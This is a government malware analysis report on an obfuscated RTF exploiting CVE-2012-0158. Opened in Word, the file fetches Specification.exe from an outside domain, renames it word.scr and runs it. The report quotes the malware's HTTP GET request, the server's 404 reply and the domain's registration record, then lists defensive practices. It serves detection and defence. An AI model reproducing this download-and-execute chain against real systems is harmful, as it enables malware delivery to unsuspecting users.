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This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.us-cert.gov/tlp.
This report contains information obtained from automated analysis and is not intended to be a complete description of the submitted sample. Results may be limited due to the complexity of the samples, or due to the ability of the samples to defend against automated analysis techniques. If additional information is required, please contact the Cybersecurity and Infrastructure Security Agency (CISA) using the information provided at the end of this report.
CISA received one artifact, ff4138ca9119ab0381ad6575f041e633, which appeared to be a crafted RTF document to perform penetration testing for the CVE-2012-0158 vulnerability found in Microsoft Office 2003, 2007 and 2010. It is actually an obfuscated RTF that when opened in Microsoft Word, it connected to nanocoatingindonesia.co.id and attempted to download an executable named Specification.exe, copied it over to word.scr and executed it immediately. At the time of this analysis, the domain returned HTTP 404 not found to the HTTP GET request.
For a downloadable copy of IOCs, see MIFR-10079683-1.v2.stix.
||Rich Text Format data, version 1, unknown character set
|Microsoft Security Essentials
|TrendMicro House Call
No matches found.
FF4138CA9119AB0381AD6575F041E633 is an obfuscated RTF document, appeared to be crafted to perform penetration testing when examined under a hexadecimal editor. Close to the end of file, ASCII data “For pentesting purposes only!” and the MD5 hash value of the RTF were found.
However, when the RTF was opened in Microsoft Word, it sent a HTTP GET request to the domain nanocoatingindonesia.co.id in order to download a binary named Specification.exe. If successfully downloaded it would copy Specification.exe to word.scr and immediately execute it.
When the RTF was examined under a debugger, the location of word.scr was in the C:Windowssystem32 directory; word.scr ran on the system followed by a system crash and reboot. However, when the RTF was opened without a debugger, word.scr was copied to the same directory where RTF was located at and the system did not crash.
At the time of this analysis, nanocoatingindonesia.co.id returned HTTP 404 Not Found to the HTTP GET request for the Specification.exe binary.
- GET /1/Specification.exe HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
HTTP/1.1 404 Not Found
Date: Fri, 19 Aug 2016 xx:xx:xx GMT
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<title>404 Not Found</title>
<p>The requested URL /1/Specification.exe was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
Created On:10-Mar-2016 04:31:11 UTC
Last Updated On:15-Mar-2016 04:42:05 UTC
Expiration Date:10-Mar-2017 23:59:59 UTC
Registrant Name:Nano Coating indonesia
Registrant Organization:PT Nano Coating Indonesia
Registrant Street1:Jl.Industri Selatan 7 Blok FF 1 CnKawasan industri Jababeka 2
Registrant Street2:Jababeka Cikarang
Registrant State/Province:Jawa Barat
Registrant Postal Code:17530
Admin Name:Nano Coating indonesia
Admin Organization:PT Nano Coating Indonesia
Admin Street1:Jl.Industri Selatan 7 Blok FF 1 CnKawasan industri Jababeka 2
Admin Street2:Jababeka Cikarang
Admin State/Province:Jawa Barat
Admin Postal Code:17530
Tech Organization:PT Nano Coating Indonesia
Tech Street1:Jl.Industri Selatan 7 Blok FF 1 C.nKawasan Industri Jababeka II Cikarang Kab.Bekasi
Tech State/Province:Jawa Barat
Tech Postal Code:17530
Billing Name:Nano Coating indonesia
Billing Organization:PT Nano Coating Indonesia
Billing Street1:Jl.Industri Selatan 7 Blok FF 1 CnKawasan industri Jababeka 2
Billing Street2:Jababeka Cikarang
Billing State/Province:Jawa Barat
Billing Postal Code:17530
Sponsoring Registrar ID:indoreg
Sponsoring Registrar Organization:INDOREG
Sponsoring Registrar City:Jakarta
Sponsoring Registrar Postal Code:11520
Sponsoring Registrar Country:ID
Sponsoring Registrar Phone:0215821567
CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.
- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.
- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
- Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).
Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.
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What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.
What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.
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Can I submit malware to CISA? Malware samples can be submitted via three methods:
CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.us-cert.gov.